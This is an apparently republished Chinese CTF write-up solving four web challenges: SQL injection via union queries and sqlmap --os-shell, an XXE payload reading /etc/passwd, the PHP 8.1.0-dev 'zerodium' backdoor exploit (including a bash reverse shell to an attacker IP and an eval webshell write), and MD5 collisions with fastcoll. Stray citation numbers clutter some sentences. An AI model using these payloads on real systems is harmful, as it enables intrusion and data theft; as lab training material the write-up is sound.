您的位置:首页 > 娱乐 > 八卦 > 电商设计工资一般多少_吉安网站制作公司_seo技术优化技巧_自己做网站需要什么条件

电商设计工资一般多少_吉安网站制作公司_seo技术优化技巧_自己做网站需要什么条件

2025/2/24 7:49:46 来源:https://blog.csdn.net/zhongyuekang820/article/details/145689942  浏览:    关键词:电商设计工资一般多少_吉安网站制作公司_seo技术优化技巧_自己做网站需要什么条件
电商设计工资一般多少_吉安网站制作公司_seo技术优化技巧_自己做网站需要什么条件

第一题,文章管理系统

来自 <天狩CTF竞赛平台>

描述:这是我们的文章管理系统,快来看看有什么漏洞可以拿到FLAG吧?注意:可能有个假FLAG哦

 

1,首先观察题目网站的结构和特征

这个一个文件管理系统,页面的切换依赖于?id=1这种参数变换。

并且其对于错误的参数有敏感的识别报错,这极大说明了可能具有SQL注入漏洞

 

2,尝试进行手工SQL注入,首先判断注入类型是整数型还是字符型。输入?id=1' --+ 和?id=1" --+都发生报错,而?id=1 --+ 不报错,说明是整数型注入

 

3,判断该数据表的字段数,使用order by大法。

?id=1 order by 1,2,3 --+ 判断字段数是否至少有三列。否

?id=1 order by 1,2 --+ 判断字段数是否至少有两列。真

那么就可以知道2<=字段数(int)<3,那么字段就只有两列

 

4,接下来通过union判断回显点,?id=-1 union select 1,2 --+

正好回显了1,2说明回显点就在我们查询的第一二列上

 

5,开始进行爆库操作,首先知道数据库名与版本

?id=-1 union select version(),database()--+

 

6,知道了数据库名:word,再使用group_concat()函数爆出word数据库所有数据表名:

?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+

 

7,知道了数据表名:word,再使用group_concat()函数articles数据表所有字段名:

?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name="articles" and table_schema=database()--+

 

8,知道了列名然后再输出打印其中的数据

?id=-1 union select group_concat(title),group_concat(word) from articles--+

由此成功得到flag:qsnctf{sql+so+easy!!!!} (虽然是假的)

 

9,逃课打法,payload:?id=1 or 1=1 --+

一样能够出现flag,其根本原因应该和注入点位置有关

 

原因分析:

 构造永真条件

  • OR 1=1:1=1恒为真,导致WHERE条件变为id=1 OR true。无论id=1是否存在,整个条件总为真,查询返回所有数据

SELECT * FROM files WHERE id = 1 OR 1=1 -- (原查询后续内容被注释)

此查询返回files表的所有记录,导致数据泄露。

 

10,根据题目提示,正确的做法应该使用sqlmap爆出数据库,然后使用--os-shell模块构造出可交互式的shell

爆出所有数据库 sqlmap -u "http://challenge.qsnctf.com:32209/?id=1" -dbs --batch

爆出数据表 sqlmap -u "http://challenge.qsnctf.com:32209/?id=1" -D word --tables --batch

爆出所有字段

最后爆出所有数据 sqlmap -u "http://challenge.qsnctf.com:30887/?id=1" -D word -T articles -C id,title,word --dump --batch

 

11,已经知道了爆库是行不通的,再使用--os-shell获取靶机shell

sqlmap -u "http://challenge.qsnctf.com:30887/?id=1" --os-shell

这里支持的语言选择第四个默认的PHP,然后就获得了shell

再通过find命令查找flag find / -name "flag"

最后成功读取得到flag{0428ba0e77344c8aaff21cecb2fbf21f}

 

第二题:PHP的XXE

题目描述:

XXE(XML External Entity)是一种针对XML解析器的攻击技术,也被称为XML外部实体注入攻击。当应用程序解析用户提供的XML输入时,如果没有正确地配置或过滤外部实体,攻击者可以利用这一漏洞执行恶意操作。

XML允许在文档中定义和使用外部实体,这些实体可以从外部资源(如文件、网络URL等)中获取数据。如果应用程序解析了包含恶意外部实体的XML输入,并且未对外部实体进行适当的处理或限制,攻击者可能会读取敏感文件、执行远程代码或进行其他恶意活动

 

1,一打开网站就是phpinfo()的界面

 

2,XXE漏洞利用一般使用burpsuite抓请求包,然后在请求包里面构造攻击语句。访问http://challenge.qsnctf.com:32365/simplexml_load_string.php

右键将请求包发送到repeater重放器,然后右键更改请求包的方式为POST,Content-Type更改为xml,然后将构造的payload写入

<?xml version="1.0" encoding="utf-8" ?>

<!DOCTYPE xxe [

<!ELEMENT test ANY >

<!ENTITY xxe SYSTEM "file:///etc/passwd">

]>

<test>

<name>

&xxe;

</name>

 

</test>

 

3,接下来就是命令执行的攻击了,不断通过XXE漏洞对靶机进行信息收集

<?xml version="1.0" encoding="utf-8" ?>

<!DOCTYPE xxe [

<!ELEMENT test ANY >

<!ENTITY xxe SYSTEM "file:///flag">

]>

<test>

<name>

&xxe;

</name>

 

</test>

 

最终得到flag{ea5f420ee48b483a95cf96e269c22271}

 

第三题:PHP的后门

题目描述:PHP竟然也会有后门这种东西?你知道吗!

 

1,首先观察题目

那么就需要获取该网站后端语言PHP的版本

 

2,通过wappalyzer获取到PHP的版本为8.1

 

3,接下来就是查这个版本的PHP有什么公开的漏洞及其exp。分析发现可以公开利用的漏洞是:

 

PHP-8.1.0-dev 后门命令执行漏洞

PHP 8.1.0-dev 后门命令执行漏洞是2021年3月被发现的一个高危漏洞,因开发版本中被植入后门代码而引发。攻击者可利用该漏洞通过构造特定的HTTP请求头执行任意命令,甚至接管服务器。以下是该漏洞的综合分析:

1. 漏洞概述

  • 背景
    PHP 8.1.0-dev 版本在2021年3月28日被植入后门代码,后门以User-Agentt(多一个字母t)为触发点,允许攻击者通过该请求头字段注入任意PHP代码并执行379。该后门虽在短时间内被官方移除,但已暴露的服务器仍可能受影响。
  • 原理
    后门代码在服务器端解析HTTP请求时,会检查User-Agentt字段是否以字符串zerodium开头。若符合条件,后续内容会被直接作为PHP代码执行,从而实现远程命令注入368。

2. 影响范围

  • 受影响的版本
    仅限 PHP 8.1.0-dev 开发版本6710。
  • 危害
    攻击者可执行任意系统命令,如读取敏感文件(/etc/passwd)、写入Webshell、反弹Shell等,直接威胁服务器安全589。

3. 漏洞复现

环境搭建

使用Vulhub提供的Docker环境快速复现:

cd vulhub/php/8.1-backdoor
docker-compose up -d

访问 http://目标IP:8080,若显示“Hello World”则表示环境启动成功4610。

攻击示例

通过Burp Suite或Python脚本发送以下HTTP请求包:

GET / HTTP/1.1
Host: target_ip:8080
User-Agent: Mozilla/5.0 (兼容头)
User-Agentt: zerodiumsystem("命令");
Connection: close

  • 验证漏洞存在
    User-Agentt: zerodiumvar_dump(2*3);
    若返回计算结果,则漏洞存在37。
  • 执行系统命令
    User-Agentt: zerodiumsystem("cat /flag");
    读取文件内容58。
  • 反弹Shell
    User-Agentt: zerodiumsystem("bash -c 'exec bash -i >& /dev/tcp/攻击者IP/端口 0>&1'");
    通过监听端口获取交互式Shell69。

4. 攻击利用扩展

  • 写入Webshell

User-Agentt: zerodiumfile_put_contents('shell.php','<?php eval($_POST["cmd"]);?>');

  • 生成一句话木马并通过蚁剑等工具连接68。
  • 自动化EXP
    使用Python脚本批量检测与利用,例如通过requests库动态注入命令912。

5. 修复建议

  1. 升级PHP版本
    立即停止使用PHP 8.1.0-dev开发版,升级至官方稳定版本。
  2. 补丁与监控
    检查服务器是否曾部署受影响版本,并监控异常流量(如包含User-Agentt的请求)710。
  3. 容器环境管理
    使用Vulhub等漏洞复现环境后,及时关闭容器:

docker-compose down

总结

该漏洞因开发版本中隐蔽的后门代码引发,攻击成本低但危害极大。尽管官方已修复,仍需警惕未升级的测试环境或遗留系统。防御关键在于严格管控开发版本的使用,并加强HTTP请求头的过滤机制7912。

 

4,那么接下来就使用burpsuite抓请求包,右键将请求包发送到repeater模块,然后写入攻击语句:

User-Agentt:zerodiumsystem("ls /");

5,最后再构造语句读取flag

User-Agentt:zerodiumsystem("cat /flag");

最后得到了flag{aca66b51096c4713b36a92e0d7147949}

 

第四题:EasyMD5

来自 <天狩CTF竞赛平台>

题目描述:php没有难题

MD5碰撞

MD5碰撞是指两个不同的输入数据经过MD5哈希算法处理后,生成相同的哈希值。这种现象违背了哈希函数“唯一性”的设计原则,意味着攻击者可以故意构造出内容不同但MD5值相同的文件,从而破坏依赖MD5进行数据完整性校验或身份验证的系统。

MD5碰撞的关键点

  1. MD5算法简介
    • MD5(Message-Digest Algorithm 5)是一种广泛使用的哈希函数,生成128位(16字节)的哈希值,通常表示为32位十六进制字符串。
    • 设计初衷是为文件、密码等数据生成唯一“指纹”,用于快速校验数据完整性。
  2. 碰撞原理
    • 由于MD5的输出长度固定(128位),理论上存在有限的哈希组合(2¹²⁸种),而输入数据无限,因此哈希碰撞必然存在(鸽巢原理)。
    • MD5的设计缺陷(如抗碰撞性不足)使得实际构造碰撞成为可能,且成本远低于理论预期。
  3. 实际攻击案例
    • 2004年:王小云团队首次公开高效MD5碰撞方法,可在数小时内找到碰撞。
    • 2008年:研究人员构造出可执行文件的碰撞,例如两个功能不同但MD5相同的程序。
    • 2012年:“火焰”病毒利用MD5碰撞伪造微软数字签名,绕过安全检测。
    • 选择前缀碰撞攻击:攻击者可自由选择部分输入内容生成碰撞(如TLS证书伪造)。

MD5碰撞的安全风险

  1. 数据完整性失效
    • 攻击者可替换文件(如软件安装包、合同文档)而不改变其MD5校验值,导致用户无法察觉篡改。
  2. 数字签名伪造
    • 若签名系统依赖MD5,攻击者可伪造签名证书(如HTTPS中间人攻击)。
  3. 密码存储漏洞
    • 若数据库用MD5存储密码,碰撞可能导致不同密码被误认为相同,但更常见风险是MD5的快速破解(如彩虹表)。

防御措施

  1. 弃用MD5:在关键场景(如数字签名、密码存储)改用更安全的算法:
    • SHA-2家族(SHA-256、SHA-512)
    • SHA-3(Keccak)
    • BLAKE2/3
  2. 加盐(Salting):若必须使用MD5,需结合随机盐值(如密码存储),但建议优先升级算法。
  3. 多重哈希:对敏感数据叠加多种哈希算法(如SHA-256 + BLAKE3),但需权衡性能。

 

1,观察题目环境,要求就是生成两个md5值相同的PDF文件就行了,使用工具fastcoll

fastcoll 是一款高效的 MD5 碰撞生成工具,由荷兰埃因霍温理工大学的研究团队开发,能够快速生成两个内容不同但 MD5 哈希值相同的文件。其原理基于王小云团队提出的改进版碰撞算法,可在普通计算机上几秒内完成碰撞生成2710。

基础使用方法

1. 生成碰撞文件

  • 命令格式
    fastcoll_v1.0.0.5.exe -p <基础文件路径> -o <输出文件1> <输出文件2>
    • -p:指定基础文件(作为碰撞前缀)。
    • -o:生成的两个碰撞文件路径4710。
  • 示例
    fastcoll_v1.0.0.5.exe -p C:\test.txt -o collision1.txt collision2.txt
    生成的两个文件 collision1.txt 和 collision2.txt 内容不同但 MD5 相同39。

2. 验证碰撞结果

  • 使用系统工具(如 certutil)校验哈希值:
    certutil -hashfile collision1.txt MD5
    certutil -hashfile collision2.txt MD5
    结果会显示相同的 MD5 值,但文件内容可通过二进制编辑器(如 HxD)查看差异47。

进阶应用

1. 生成可执行文件的碰撞

  • 示例
    bash
    复制
    fastcoll_v1.0.0.5.exe -p helloworld.exe -o helloworld1.exe helloworld2.exe
    生成的两个 EXE 文件功能不同(如一个打印 "Hello World",另一个打印 "Goodbye World"),但 MD5 值一致710。

2. 生成字符串的 MD5 碰撞

  • 步骤
    1. 创建基础文本文件(如 a.txt),内容可为空或特定前缀。
    2. 运行 fastcoll 生成两个碰撞文件(如 msg1.txt 和 msg2.txt)。
    3. 通过 PHP/Python 脚本读取文件内容并进行 URL 编码,生成不同字符串但相同 MD5 的结果9。

工具下载与源码

  • 下载地址
    • 可执行工具: http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip
    • 源代码: http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5_source.zip 237。

注意事项

  1. 安全风险
    • MD5 碰撞可能被用于伪造文件、绕过校验或攻击依赖哈希的系统(如数字签名)210。
    • 建议仅在实验环境(如虚拟机)中使用,避免非法用途4。
  2. 替代算法
    • 在正式场景中,应弃用 MD5,改用 SHA-256、SHA-3 或 BLAKE2/3 等抗碰撞性更强的哈希算法710。

典型场景示例

  • CTF 题目:解决类似 $a != $b && md5($a) == md5($b) 的挑战,通过 fastcoll 生成碰撞字符串提交9。
  • 文件篡改测试:验证系统对 MD5 校验的依赖漏洞,例如上传两个功能不同但哈希相同的文件710

 

解题非常简单,直接命令生成两个MD5值相同的文件

fastcoll_v1.0.0.5.exe -p 1.pdf -o 2.pdf 3.pdf

flag{51b103224afc43dc9d8bc448f0a0b0e8}

 

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com